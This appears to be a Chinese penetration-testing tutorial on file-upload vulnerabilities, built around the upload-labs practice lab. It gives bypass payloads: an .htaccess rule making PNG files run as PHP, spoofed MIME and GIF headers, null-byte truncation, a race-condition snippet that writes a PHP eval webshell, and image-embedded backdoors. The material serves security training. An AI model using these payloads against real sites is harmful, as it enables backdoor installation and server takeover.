文件上传&黑白名单&MIME&JS泄露&执行权限&编码解析&OSS存储&分域名

Ethan医生6个月前信息收集143

常规文件上传:

1、一定要明白:

无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)

换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

 

2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

 

1、无限制

任意上传,什么文件都能上传

2、有限制:

限制后缀格式(判断后缀名,MIME类型,文件头等)

 

 

3、测试环境安装参考:

https://github.com/ffffffff0x/f8x

https://github.com/fuzzdb-project/fuzzdb

https://github.com/sqlsec/upload-labs-docker

下载上述资源

docker安装

f8x -d 或 f8x -docker

进入项目文件夹

cd upload-labs-docker

一键部署运行

docker-compose up -d

 

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

 

2、.htaccess

AddType application/x-httpd-php .png

 

3、MIME类型

Content-Type:image/png

 

4、文件头判断

GIF89a

 

5、黑名单-过滤不严

无递归,pphphp

 

6、黑名单-过滤不严

系统大小写敏感属性

 

7、低版本GET-%00截断

自动解码一次

/var/www/html/upload/x.php%00

 

8、低版本POST-%00截断

手工解码一次

../upload/x.php%00 二次解码

 

9、黑名单-过滤不严

php3

 

10、逻辑不严-条件竞争

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

上传不断发包

请求不断发包

 

11、二次渲染

先搞个正常图片,上传导出渲染后的图片

对比保留部分,在保留部分添加后门代码

最后利用提示的文件包含执行图片后门代码

 

11、函数缺陷

move_uploaded_file 1.php/.

 

12、代码审计-数组绕过

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[0]"

 

http://2.php/

-----------------------------174283082921961

Content-Disposition: form-data; name="save_name[2]"

 

gif

 

 

#实战遇到的情况:

1、执行权限

文件上传后存储目录不给执行权限

绕过条件:能控制上传文件存储目录

2、解码还原

数据做存储,解析固定(文件后缀名无关)

文件上传后利用编码传输解码还原

绕过:无法直接绕过

3、分站存储

upload.xiaodi8.com 上传

images.xiaodi8.com 存储

绕过:看存储的执行策略

4、OSS对象

Access控制-OSS对象存储-Bucket对象

绕过:无法直接绕过

 

#应用场景:

1、注册用户上传地方

2、JS或API接口的代码

3、后台或其他管理页面

4、源码泄露或盲测文件

5、三方编辑器上传漏洞

6、特定的源码审计漏洞


 


标签: 文件上传

相关文章

JS逆向-开发者工具&网络请求筛选&调用堆栈链&断点调试方法&数据作用域&控制台分析

➢ JS逆向-F12开发者工具-使用指南➢ JS逆向-F12开发者工具-调用堆栈➢ JS逆向-F12开发者工具-断点调试#前置说明1、JS逆向与安全事实上,前端的逆向通俗...

红队APT-钓鱼投递篇&Office文档&宏代码对象&CVE漏洞&WORD&PPT&EXCEL&WPS类

➢ 红队APT-文件后缀-钓鱼伪装-RLO➢ 红队APT-电子书-CHM-加载JS&PS➢ 红队APT-快捷方式-LNK-加载&HTA➢ 红队A...

蓝队技能-应急响应篇&内网攻防&爆破事件&代理隧道&流量提进程&系统日志&处置封锁

➢ 蓝队技能-内网攻防-口令爆破&隧道技术&排查&应急#口令横向场景说明:不管在内网还是在外网,协议口令爆破一直是攻击最常见的方式。1、明确对应口令爆破的日志存储路径...

蓝队技能-应急响应篇&C2后门&权限维持手法&Windows&Linux基线检查&排查封锁清理

蓝队技能-应急响应篇&C2后门&权限维持手法&Windows&Linux基线检查&排查封锁清理

➢ 蓝队技能-Web入侵-入口&查杀&攻击链等➢ 蓝队技能-C2后门&权限维持-基线检查&查杀封锁#C2后门分析处置&权限维持技术处置#Wi...

蓝队技能-应急响应篇&钓鱼攻击&邮件与文件&EML还原&蠕虫分析&线索定性&处置封锁

➢ 蓝队技能-钓鱼攻击-邮件&附件&分析&排查&应急#钓鱼邮件如何分析邮件安全性:1、看发信人地址2、看发信内容信息3、看发信内容附件4、查询发信域名反制&n...

蓝队技能-应急响应篇&近源攻击&Docker镜像&容器分析&Dockfile路径定位&基线扫描

➢ 蓝队技能-Docker镜像-容器分析&处置配置&基线检测#Docker应急Docker拉取的镜像被攻击者拿下,植入后门或挖矿等恶意应用,那么该如何应急?1、启动镜像例子1...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。